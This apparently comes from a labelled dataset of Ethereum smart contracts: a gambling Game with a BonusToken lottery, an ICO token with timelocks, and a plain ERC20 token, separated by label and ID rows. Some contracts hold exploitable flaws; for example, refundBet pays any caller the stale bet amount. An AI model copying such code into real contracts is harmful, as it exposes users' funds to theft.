copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract BonusToken is ERC20, ERC20Detailed, Ownable {
address public gameAddress;
address public investTokenAddress;
uint public maxLotteryParticipants;
mapping (address => uint256) public ethLotteryBalances;
address[] public ethLotteryParticipants;
uint256 public ethLotteryBank;
bool public isEthLottery;
mapping (address => uint256) public tokensLotteryBalances;
address[] public tokensLotteryParticipants;
uint256 public tokensLotteryBank;
bool public isTokensLottery;
modifier onlyGame() {
require(msg.sender == gameAddress);
_;
}
modifier tokenIsAvailable {
require(investTokenAddress != address(0));
_;
}
constructor (address startGameAddress) public ERC20Detailed("Bet Token", "BET", 18) {
setGameAddress(startGameAddress);
}
function setGameAddress(address newGameAddress) public onlyOwner {
require(newGameAddress != address(0));
gameAddress = newGameAddress;
}
function buyTokens(address buyer, uint256 tokensAmount) public onlyGame {
_mint(buyer, tokensAmount * 10**18);
}
function startEthLottery() public onlyGame {
isEthLottery = true;
}
function startTokensLottery() public onlyGame tokenIsAvailable {
isTokensLottery = true;
}
function restartEthLottery() public onlyGame {
for (uint i = 0; i < ethLotteryParticipants.length; i++) {
ethLotteryBalances[ethLotteryParticipants[i]] = 0;
}
ethLotteryParticipants = new address[](0);
ethLotteryBank = 0;
isEthLottery = false;
}
function restartTokensLottery() public onlyGame tokenIsAvailable {
for (uint i = 0; i < tokensLotteryParticipants.length; i++) {
tokensLotteryBalances[tokensLotteryParticipants[i]] = 0;
}
tokensLotteryParticipants = new address[](0);
tokensLotteryBank = 0;
isTokensLottery = false;
}
function updateEthLotteryBank(uint256 value) public onlyGame {
ethLotteryBank = ethLotteryBank.sub(value);
}
function updateTokensLotteryBank(uint256 value) public onlyGame {
tokensLotteryBank = tokensLotteryBank.sub(value);
}
function swapTokens(address account, uint256 tokensToBurnAmount) public {
require(msg.sender == investTokenAddress);
_burn(account, tokensToBurnAmount);
}
function sendToEthLottery(uint256 value) public {
require(!isEthLottery);
require(ethLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (ethLotteryBalances[account] == 0) {
ethLotteryParticipants.push(account);
}
ethLotteryBalances[account] = ethLotteryBalances[account].add(value);
ethLotteryBank = ethLotteryBank.add(value);
}
function sendToTokensLottery(uint256 value) public tokenIsAvailable {
require(!isTokensLottery);
require(tokensLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (tokensLotteryBalances[account] == 0) {
tokensLotteryParticipants.push(account);
}
tokensLotteryBalances[account] = tokensLotteryBalances[account].add(value);
tokensLotteryBank = tokensLotteryBank.add(value);
}
function ethLotteryParticipants() public view returns(address[]) {
return ethLotteryParticipants;
}
function tokensLotteryParticipants() public view returns(address[]) {
return tokensLotteryParticipants;
}
function setInvestTokenAddress(address newInvestTokenAddress) external onlyOwner {
require(newInvestTokenAddress != address(0));
investTokenAddress = newInvestTokenAddress;
}
function setMaxLotteryParticipants(uint256 participants) external onlyOwner {
maxLotteryParticipants = participants;
}
}
contract Game is usingOraclize, Ownable {
using SafeMath for uint;
uint public constant GAME_COIN_FlIP = 0;
uint public constant GAME_DICE = 1;
uint public constant GAME_TWO_DICE = 2;
uint public constant GAME_ETHEROLL = 3;
uint public constant LOTTERY_FEE = 0.002 ether;
uint public constant BENEFICIAR_FEE_PERCENT = 2;
uint public constant MIN_BET = 0.01 ether;
struct Query {
uint amount;
address gamer;
uint[] values;
uint prize;
uint range;
uint game;
uint time;
bool ended;
}
mapping(bytes32 => Query) public queries;
mapping(address => uint) public waitingPrizes;
mapping(address => bool) public isBet;
mapping(address => uint) public betsBalances;
mapping(address => uint) public minRanges;
mapping(address => uint) public maxRanges;
address[] public tokensHolders;
address[] public players;
bytes32 public lotteryQueryId;
uint public lotterySize;
uint public lotteryStage;
uint public lotteryRound;
uint public lastLotteryTime;
uint public lastSendBonusTokensTime;
uint public callbackGas;
uint public beneficiarFund;
address public beneficiar;
BonusToken public token;
uint private playersIndex;
event PlaceBet(address indexed gamer, bytes32 queryId);
event Bet(address indexed gamer, uint indexed game, uint amount, uint result, uint[] winResult, uint prize, uint timestamp);
event WinLottery(address indexed gamer, uint prize, uint ticketsAmount, uint indexed round);
constructor(address startBeneficiar) public valideAddress(startBeneficiar) {
oraclize_setProof(proofType_Ledger);
oraclize_setCustomGasPrice(5000000000);
callbackGas = 300000;
beneficiar = startBeneficiar;
}
modifier valideAddress(address addr) {
require(addr != address(0));
_;
}
function placeBet(uint game, uint[] values) payable external {
require(msg.value >= MIN_BET);
require(game == GAME_COIN_FlIP || game == GAME_DICE || game == GAME_TWO_DICE || game == GAME_ETHEROLL);
require(valideBet(game, values));
uint range;
uint winChance;
if (game == GAME_COIN_FlIP) {
require(values.length == 1);
range = 2;
winChance = 5000;
} else if (game == GAME_DICE) {
require(values.length <= 5);
range = 6;
winChance = 1667;
winChance = winChance.mul(values.length);
} else if (game == GAME_TWO_DICE) {
require(values.length <= 10);
range = 11;
for (uint i = 0; i < values.length; i++) {
if (values[i] == 0 || values[i] == 10) winChance = winChance.add(278);
else if (values[i] == 1 || values[i] == 9) winChance = winChance.add(556);
else if (values[i] == 2 || values[i] == 8) winChance = winChance.add(833);
else if (values[i] == 3 || values[i] == 7) winChance = winChance.add(1111);
else if (values[i] == 4 || values[i] == 6) winChance = winChance.add(1389);
else if (values[i] == 5) winChance = winChance.add(1667);
}
} else if (game == GAME_ETHEROLL) {
require(values.length == 1);
range = 100;
winChance = uint(100).mul(values[0] + 1);
}
address sender = msg.sender;
uint weiAmount = msg.value;
if (!isBet[sender]) {
players.push(sender);
isBet[sender] = true;
}
bytes32 queryId = random();
weiAmount = fee(weiAmount);
betsBalances[sender] = betsBalances[sender].add(weiAmount);
uint prize = weiAmount.mul(10000).div(winChance);
newQuery(queryId, msg.value, sender, values, prize, range);
queries[queryId].game = game;
emit PlaceBet(sender, queryId);
}
function lottery() external onlyOwner valideAddress(address(token)) {
require(now - lastLotteryTime >= 1 weeks);
require(token.ethLotteryBank() > 0);
require(lotterySize > 0);
if (!token.isEthLottery()) {
address[] memory lotteryParticipants = token.ethLotteryParticipants();
for (uint i = 0; i < lotteryParticipants.length; i++) {
address participant = lotteryParticipants[i];
uint participantBalance = token.ethLotteryBalances(participant);
if (participantBalance > 0) {
tokensHolders.push(participant);
}
}
updateLotteryRanges();
lotteryRound++;
}
token.startEthLottery();
lotteryQueryId = random();
}
function sendBonusTokens(uint playersIterations) external onlyOwner {
require(now - lastSendBonusTokensTime >= 24 hours);
uint playersIterationsNumber;
if (players.length.sub(playersIndex) < playersIterations) {
playersIterationsNumber = players.length.sub(playersIndex);
} else {
playersIterationsNumber = playersIterations;
}
uint tokensAmount;
uint betsBalance;
for (uint i; i < playersIterationsNumber; i++) {
address player = players[playersIndex];
tokensAmount = 0;
betsBalance = betsBalances[player];
while (betsBalance >= 1 ether) {
tokensAmount = tokensAmount.add(100);
betsBalance = betsBalance.sub(1 ether);
}
if (tokensAmount > 0) {
betsBalances[player] = betsBalance;
token.buyTokens(player, tokensAmount);
}
playersIndex++;
}
if (playersIndex == players.length) {
playersIndex = 0;
lastSendBonusTokensTime = now;
}
}
function refund() external {
require(waitingPrizes[msg.sender] > 0, '0');
require(address(this).balance >= waitingPrizes[msg.sender]);
uint weiAmountToSend = waitingPrizes[msg.sender];
waitingPrizes[msg.sender] = 0;
msg.sender.transfer(weiAmountToSend);
}
function refundBet(bytes32 queryId) external {
require(!queries[queryId].ended);
require(now - queries[queryId].time > 24 hours);
queries[queryId].ended = true;
msg.sender.transfer(queries[queryId].amount);
}
function getPlayers() external view returns(address[]) {
return players;
}
function setOraclizeGasPrice(uint gasPrice) external onlyOwner {
oraclize_setCustomGasPrice(gasPrice);
}
function setOraclizeGasLimit(uint gasLimit) external onlyOwner {
callbackGas = gasLimit;
}
function setBeneficiarAddress(address newBeneficiar) external onlyOwner valideAddress(newBeneficiar) {
beneficiar = newBeneficiar;
}
function setTokenAddress(address tokenAddress) external onlyOwner valideAddress(tokenAddress) {
token = BonusToken(tokenAddress);
}
function getFund(uint weiAmount) external onlyOwner {
msg.sender.transfer(weiAmount);
}
function getBeneficiarFund() external {
require(msg.sender == beneficiar);
uint256 fund = beneficiarFund;
beneficiarFund = 0;
beneficiar.transfer(fund);
}
function __callback(bytes32 myId, string result, bytes proof) public {
require((msg.sender == oraclize_cbAddress()), 'Sender must be Oraclize');
Query storage query = queries[myId];
require(!query.ended);
uint randomNumber;
uint i;
if (query.gamer != address(0)) {
if (oraclize_randomDS_proofVerify__returnCode(myId, result, proof) != 0) {
sendWin(query.gamer, query.amount);
} else {
randomNumber = uint(keccak256(result)) % query.range;
bool isWin;
if (query.game == GAME_ETHEROLL) {
if (randomNumber <= query.values[0]) {
sendWin(query.gamer, query.prize);
isWin = true;
}
} else {
for (i = 0; i < query.values.length; i++) {
if (randomNumber == query.values[i]) {
sendWin(query.gamer, query.prize);
isWin = true;
break;
}
}
}
if (isWin) {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, query.prize, now);
} else {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, 0, now);
}
}
query.ended = true;
} else if (myId == lotteryQueryId) {
randomNumber = uint(keccak256(result)) % token.ethLotteryBank();
uint prize = 0;
if (lotteryStage == 0) {
prize = lotterySize.div(2);
} else if (lotteryStage == 1) {
prize = lotterySize.div(4);
} else if (lotteryStage == 2) {
prize = lotterySize.mul(12).div(100);
} else if (lotteryStage == 3) {
prize = lotterySize.mul(8).div(100);
} else {
prize = lotterySize.div(20);
}
for (i = 0; i < tokensHolders.length; i++) {
address tokensHolder = tokensHolders[i];
if (randomNumber >= minRanges[tokensHolder] && randomNumber < maxRanges[tokensHolder]) {
deleteTokensHolder(i);
sendWin(tokensHolder, prize);
emit WinLottery(tokensHolder, prize, token.ethLotteryBalances(tokensHolder), lotteryRound);
lotteryStage++;
updateLotteryRanges();
token.updateEthLotteryBank(token.ethLotteryBalances(tokensHolder));
break;
}
}
if (lotteryStage == 5 || tokensHolders.length == 0) {
tokensHolders = new address[](0);
lotterySize = 0;
lotteryStage = 0;
lastLotteryTime = now;
token.restartEthLottery();
} else {
lotteryQueryId = random();
}
}
}
function updateLotteryRanges() private {
uint range = 0;
for (uint i = 0; i < tokensHolders.length; i++) {
address participant = tokensHolders[i];
uint participantBalance = token.ethLotteryBalances(participant);
minRanges[participant] = range;
range = range.add(participantBalance);
maxRanges[participant] = range;
}
}
function valideBet(uint game, uint[] values) private pure returns(bool) {
require(values.length > 0);
for (uint i = 0; i < values.length; i++) {
if (i == 0) {
if (game == GAME_ETHEROLL && values[i] > 96) {
return false;
}
}
if (i != values.length - 1) {
if (values[i + 1] <= values[i]) {
return false;
}
}
}
return true;
}
function fee(uint weiAmount) private returns(uint) {
uint beneficiarFee = weiAmount.mul(BENEFICIAR_FEE_PERCENT).div(100);
beneficiarFund = beneficiarFund.add(beneficiarFee);
lotterySize = lotterySize.add(LOTTERY_FEE);
weiAmount = weiAmount.sub(beneficiarFee).sub(LOTTERY_FEE);
return weiAmount;
}
function newQuery(bytes32 queryId, uint amount, address gamer, uint[] values, uint prize, uint range) private {
queries[queryId].gamer = gamer;
queries[queryId].amount = amount;
queries[queryId].values = values;
queries[queryId].prize = prize;
queries[queryId].range = range;
queries[queryId].time = now;
}
function random() private returns(bytes32 queryId) {
require(address(this).balance >= oraclize_getPrice('random', callbackGas));
queryId = oraclize_newRandomDSQuery(0, 4, callbackGas);
require(queryId != 0, 'Oraclize error');
}
function sendWin(address winner, uint weiAmount) private {
if (address(this).balance >= weiAmount) {
winner.transfer(weiAmount);
} else {
waitingPrizes[winner] = waitingPrizes[winner].add(weiAmount);
}
}
function deleteTokensHolder(uint index) private {
tokensHolders[index] = tokensHolders[tokensHolders.length - 1];
delete tokensHolders[tokensHolders.length - 1];
tokensHolders.length--;
}
} | 0 | 802 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > uint64(block.timestamp));
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(uint64(block.timestamp) >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract OrguraExchange is StandardToken, Owned {
string public constant name = "Orgura Exchange";
string public constant symbol = "OGX";
uint8 public constant decimals = 18;
uint256 public constant HARD_CAP = 800000000 * 10**uint256(decimals);
uint256 public constant TOKENS_SALE_HARD_CAP = 400000000 * 10**uint256(decimals);
uint256 public constant BASE_RATE = 7169;
uint64 private constant dateSeedSale = 1523145600 + 0 hours;
uint64 private constant datePreSale = 1524182400 + 0 hours;
uint64 private constant dateSaleR1 = 1525132800 + 0 hours;
uint64 private constant dateSaleR2 = 1526342400 + 0 hours;
uint64 private constant dateSaleR3 = 1527724800 + 0 hours;
uint64 private constant date14June2018 = 1528934400 + 0 hours;
uint64 private constant date14July2018 = 1531526400;
uint256[5] private roundCaps = [
50000000* 10**uint256(decimals),
50000000* 10**uint256(decimals),
100000000* 10**uint256(decimals),
100000000* 10**uint256(decimals),
100000000* 10**uint256(decimals)
];
uint8[5] private roundDiscountPercentages = [90, 75, 50, 30, 15];
uint64[4] private dateTokensLockedTills = [
1536883200,
1544745600,
1557792000,
1581638400
];
uint8[4] private lockedTillPercentages = [20, 20, 30, 30];
uint64 private constant dateTeamTokensLockedTill = 1556323200;
bool public tokenSaleClosed = false;
address public timelockContractAddress;
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP
&& !tokenSaleClosed && now >= dateSeedSale);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
modifier tradingOpen {
require(uint64(block.timestamp) > date14July2018);
_;
}
function OrguraExchange() public {
}
function () public payable {
purchaseTokens(msg.sender);
}
function purchaseTokens(address _beneficiary) public payable inProgress {
require(msg.value >= 0.01 ether);
uint256 tokens = computeTokenAmount(msg.value);
require(totalSupply.add(tokens) <= TOKENS_SALE_HARD_CAP);
doIssueTokens(_beneficiary, tokens);
owner.transfer(this.balance);
}
function issueTokensMulti(address[] _addresses, uint256[] _tokens) public onlyOwner beforeEnd {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
doIssueTokens(_addresses[i], _tokens[i]);
}
}
function issueTokens(address _beneficiary, uint256 _tokens) public onlyOwner beforeEnd {
doIssueTokens(_beneficiary, _tokens);
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
totalSupply = totalSupply.add(_tokens);
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
Transfer(address(0), _beneficiary, _tokens);
}
function price() public view returns (uint256 tokens) {
return computeTokenAmount(1 ether);
}
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256 tokens) {
uint256 tokenBase = ethAmount.mul(BASE_RATE);
uint8 roundNum = currentRoundIndex();
tokens = tokenBase.mul(100)/(100 - (roundDiscountPercentages[roundNum]));
while(tokens.add(totalSupply) > roundCaps[roundNum] && roundNum < 4){
roundNum++;
tokens = tokenBase.mul(100)/(100 - (roundDiscountPercentages[roundNum]));
}
}
function currentRoundIndex() internal view returns (uint8 roundNum) {
roundNum = currentRoundIndexByDate();
while(roundNum < 4 && totalSupply > roundCaps[roundNum]) {
roundNum++;
}
}
function currentRoundIndexByDate() internal view returns (uint8 roundNum) {
require(now <= date14June2018);
if(now > dateSaleR3) return 4;
if(now > dateSaleR2) return 3;
if(now > dateSaleR1) return 2;
if(now > datePreSale) return 1;
else return 0;
}
function close() public onlyOwner beforeEnd {
uint256 amount_lockedTokens = 300000000;
uint256 lockedTokens = amount_lockedTokens* 10**uint256(decimals);
uint256 reservedTokens = 100000000* 10**uint256(decimals);
uint256 sumlockedAndReservedTokens = lockedTokens + reservedTokens;
uint256 fagmentSale = 0* 10**uint256(decimals);
if(totalSupply.add(sumlockedAndReservedTokens) > HARD_CAP) {
sumlockedAndReservedTokens = HARD_CAP.sub(totalSupply);
}
uint256 _total_lockedTokens =0;
for (uint256 i = 0; i < lockedTillPercentages.length; i = i.add(1))
{
_total_lockedTokens =0;
_total_lockedTokens = amount_lockedTokens.mul(lockedTillPercentages[i])* 10**uint256(decimals)/100;
issueLockedTokensCustom( _total_lockedTokens, dateTokensLockedTills[i] );
}
issueReservedTokens(reservedTokens);
totalSupply = totalSupply.add(sumlockedAndReservedTokens);
tokenSaleClosed = true;
owner.transfer(this.balance);
}
function issueLockedTokens( uint lockedTokens) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, dateTeamTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
Transfer(address(0), timelockContractAddress, lockedTokens);
}
function issueLockedTokensCustom( uint lockedTokens , uint64 _dateTokensLockedTill) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, _dateTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
Transfer(address(0), timelockContractAddress, lockedTokens);
}
function issueReservedTokens(uint reservedTokens) internal{
balances[owner] = reservedTokens;
Transfer(address(0), owner, reservedTokens);
}
function transferFrom(address _from, address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transfer(_to, _value);
}
} | 1 | 3,706 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract EBITOKEN is StandardToken, Ownable {
string public constant name = "EBITOKEN";
string public constant symbol = "EBI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1 * (10 ** 10) * (10 ** uint256(decimals));
function EBITOKEN() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 5,466 |
pragma solidity ^0.4.11;
contract Base {
function max(uint a, uint b) returns (uint) { return a >= b ? a : b; }
function min(uint a, uint b) returns (uint) { return a <= b ? a : b; }
modifier only(address allowed) {
if (msg.sender != allowed) throw;
_;
}
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) return false;
uint size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
